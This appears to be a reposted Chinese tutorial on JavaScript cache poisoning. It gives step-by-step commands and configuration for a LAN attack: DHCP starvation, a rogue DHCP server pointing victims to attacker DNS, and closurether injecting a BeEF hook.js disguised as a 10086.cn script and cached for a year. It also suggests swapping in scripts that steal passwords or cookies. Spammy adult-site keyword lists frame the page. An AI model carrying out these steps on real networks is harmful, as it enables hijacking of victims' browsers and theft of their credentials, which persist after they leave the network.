成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Javascript緩存投毒學習與實戰(zhàn)

安全 應用安全
js緩存投毒說白了就是受害者的瀏覽器緩存了一個被我們篡改的js腳本,如果緩存沒有被清除,每次這個受害者訪問網(wǎng)頁的時候都會加載我們的js腳本。

0x00 起因

不久前@三好學生師傅買了一個wooyun wifi,然后聊到了緩存投毒:

 

Alt text

 

然后看到wooyun wifi的這個說明:

默認情況下該功能附帶緩存投毒功能,將視圖緩存所有的頁面至2099年,您可以通過清除所有緩存以及瀏覽器數(shù)據(jù)來清除緩存投毒的影響。

覺得這是個很不錯的技術(shù),所以查詢谷爺,度娘,拜讀了@EtherDream 大牛寫的文章以后,就有了這篇文章,也算是一個總結(jié)。

0x01 簡介&原理

js緩存投毒說白了就是受害者的瀏覽器緩存了一個被我們篡改的js腳本,如果緩存沒有被清除,每次這個受害者訪問網(wǎng)頁的時候都會加載我們的js腳本。

那他是什么原理呢,很簡單,其實就是瀏覽器的緩存機制,通常,為了加速各種靜態(tài)資源的訪問,各大網(wǎng)站會把一些靜態(tài)資源緩存到客戶端,這樣一方面能提高客戶體驗,一方面也能減輕web服務器的壓力。

瀏覽器緩存控制機制有兩種:HTML Meta標簽 以及 HTTP頭信息,通常,web開發(fā)者可以在HTML頁面的head節(jié)點中加入Meta標簽,比如:

 

  1. <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 

 

代碼的作用是告訴瀏覽器當前頁面不被緩存,每次訪問都需要去服務器拉取。 更多瀏覽器緩存機制我就不多說了,詳情請戳我。

要想預加載并緩存一個腳本很容易,只需new Image().src=''。當然有少數(shù)瀏覽器不支持,不過ie和chrome都是支持的。盡管js文件并不是一個圖片,但仍然會緩存。

0x02 準備工作

安裝node

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下載

tar zxvf node-master.zip //解壓

cd node-master

./configure

make //編譯

make install //安裝

安裝closurether

npm install -g closurether

安裝phantomjs

下載安裝,具體詳見phantomjs,根據(jù)自己的系統(tǒng)進行選擇。

0x03 示例

測試過程中,使用了EtherDream大牛的demo。具體過程如下。

下載安裝:

root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
root@kali:~/Desktop/# cd js
root@kali:~/Desktop/js/# npm install

更新緩存列表

root@kali:~/Desktop/js# cd tool/
root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

 

Alt text

 

這個腳本的作用主要是為了找出各大網(wǎng)站中緩存最久的腳本資源,也就是我們要進行投毒的腳本鏈接。網(wǎng)站可以再url.txt里面添加,之后將生成的json復制到 asset 目錄。

root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/

運行

root@kali:~/Desktop/js/tool# cd ..
root@kali:~/Desktop/js# node index.js

測試:

瀏覽器代理 HTTP -> 127.0.0.1:8080 訪問任意 HTTP。

 

Alt text

 

關(guān)閉代理 打開126,360等網(wǎng)站(chrome測試成功,火狐失敗)成功彈框。

 

Alt text

 

關(guān)閉瀏覽器(不清除緩存),再次打開,訪問360時依然會彈框。

其中,index.js實現(xiàn)了代理并替換原本靜態(tài)腳本響應內(nèi)容,并將響應頭中Cache-Control字段改為max-age=31536000,如下圖代碼:

 

Alt text

 

而替換的腳本為asset目錄下的stub.js,stub.js注入外部js關(guān)鍵代碼如下圖:

 

Alt text

 

其中www.etherdream.com/hack/trojan.js 為我們可控的js,上例中該js的內(nèi)容為

alert('xss run: ' + location.href);

我們可以通過修改該腳本內(nèi)容來實現(xiàn)不同的功能。

0x04 實戰(zhàn)

此次實戰(zhàn)在局域網(wǎng)中結(jié)合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻擊機使用了kali2.0。

1.開啟beef

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef

2.配置closurether

獲取最新的緩存列表

root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer
root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer# phantomjs sniffer.js

可以通過修改url.txt的內(nèi)容來指定網(wǎng)站,此次測試過程中url中包含126以及360幾個網(wǎng)站。 配置config.json文件如下:

{
        "hacker_url": "http://192.168.1.108:3000/hook.js",
        "inject_url": "http://10086.cn/js10086/201306301200.js",
        "debug": false,
        "dump": false,
        "dumpPath": "./dump/"
}

其中hacker_url為我們的js地址,此處為beef的js地址,inject_url 為偽裝的js地址。

運行closurether:

root@kali:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443

2.進行dhcp攻擊:

下載dhcpstarv,安裝:

root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
root@kali:~/Desktop# cd dhcpstarv-0.2.1/
root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure
root@kali:~/Desktop/dhcpstarv-0.2.1# make
root@kali:~/Desktop/dhcpstarv-0.2.1# make install

Kali默認沒有安裝dhcpstarv,也可以用yersinia代替

安裝dhcp服務器:

root@kali:~# apt-get install isc-dhcp-server

修改dhcp配置文件dhcpd.conf

root@kali:~# cd /etc/dhcp/
root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
root@kali:/etc/dhcp# vim dhcpd.conf

修改DHCP分配的地址池,修改默認路由為原來路由的Ip,修改廣播地址:

 

Alt text

 

設(shè)置dns為開啟了closurether的地址,如下圖:

 

Alt text

 

這里最好加一個正常的DNS服務器地址最為備選,防止我們的DNS服務對部分域名不解析

開啟操作系統(tǒng)的路由轉(zhuǎn)發(fā):

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

啟動DHCP服務:

root@kali:/etc/dhcp# service isc-dhcp-server start

攻擊正常的dhcp服務器,耗光ip資源:

root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108

-e參數(shù)后面跟攻擊者的ip

 

Alt text

 

然后當有客戶端連入的時候,由于正常的DHCP服務器已經(jīng)沒有可分配的IP資源,新的內(nèi)網(wǎng)主機就會使用攻擊者DHCP服務器分配的IP,如下圖:

 

Alt text

 

可以看到DNS已經(jīng)改成了我們想要改的地址。

這里說明下,如果可以直接進路由修改DNS,就直接進路由改,這樣比較穩(wěn)定,修改DNS為我們運行closurether的地址。

主要工具運行截圖:

 

Alt text

 

這時,被篡改DNS的客戶端瀏覽網(wǎng)站的時候,就會運行我們植入的JS腳本,打開126以后,可以看到beef那里已經(jīng)成功上線了:

 

Alt text

 

而我們的js則已經(jīng)被隱藏為10086的js

 

Alt text

 

將路由器重啟,使用正常的DHCP為虛擬機分配ip地址,使用瀏覽器(未清理緩存)打開360:

 

Alt text

 

這時可以看到beef上又上線了:

 

Alt text

 

beef的功能很強大,但不是本文的重點,當然js也可以換成其他,別如竊取某些網(wǎng)站的賬號密碼的js,或者獲取客戶端cookie的等等,這里就不多說了

這樣就達到了時光機的效果,雖然上網(wǎng)環(huán)境換了,但是由于瀏覽器的緩存沒有清除,任然會執(zhí)行我們的js,至此整個攻擊完成。

0x05 總結(jié)

從上面的整個過程可以得出的結(jié)論就是不要隨意通過不認識的wifi上網(wǎng)!

責任編輯:藍雨淚 來源: 烏云知識庫
相關(guān)推薦

2015-11-11 14:54:35

網(wǎng)絡(luò)·安全技術(shù)周刊

2019-03-20 08:00:00

DNS緩存欺騙惡意軟件

2010-11-09 17:19:41

2019-02-21 09:00:40

2024-06-18 08:31:33

2022-01-26 10:09:25

安全漏洞掃描工具緩存投毒漏洞

2010-03-03 14:47:41

2023-05-05 06:13:51

分布式多級緩存系統(tǒng)

2022-03-09 18:54:30

HTTP緩存協(xié)議cache

2025-03-26 03:25:00

SpringGuavaCaffeine

2015-11-03 09:43:43

avascript設(shè)計模式工廠模式

2015-11-12 09:32:03

Javascript設(shè)計模式

2015-11-25 11:10:45

Javascript設(shè)計觀察

2020-07-29 09:13:28

JavaScript開發(fā)技術(shù)

2020-06-18 09:16:20

JavaScript緩存API

2025-01-14 13:53:59

2021-04-21 21:09:36

緩存系統(tǒng)高可用

2018-04-23 11:11:52

數(shù)據(jù)挖掘機器學習Python

2019-11-21 14:01:37

Python數(shù)據(jù)挖掘機器學習

2010-09-13 14:24:17

JavaScript
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 成人免费在线电影 | 成人在线视频一区 | av网站免费在线观看 | 日韩免费高清视频 | 中文字幕欧美一区二区 | 久久久女| 日本中文字幕一区 | 婷婷综合| 精品国产免费人成在线观看 | 免费高潮视频95在线观看网站 | 午夜视频一区 | 日韩欧美三区 | 亚洲免费精品 | 色一阁| 伊人免费网 | 在线看成人av | 国产精品欧美一区二区三区不卡 | 福利社午夜影院 | 国外成人在线视频 | 六月色婷| 国产成人综合在线 | 亚洲精品美女视频 | 高清一区二区 | 日韩爱爱网站 | 鲁视频| 久久一区二区三区四区 | 久久久免费少妇高潮毛片 | 午夜成人免费视频 | 精品国产乱码久久久久久闺蜜 | 精品久久香蕉国产线看观看亚洲 | 久久97精品| 羞羞视频免费在线观看 | 在线看亚洲 | 日韩久久久久久 | 91视频www.| 狠狠av| 97精品一区二区 | 成人三级网址 | 亚洲男人天堂 | 天天久久| 国产精品久久久久久久久 |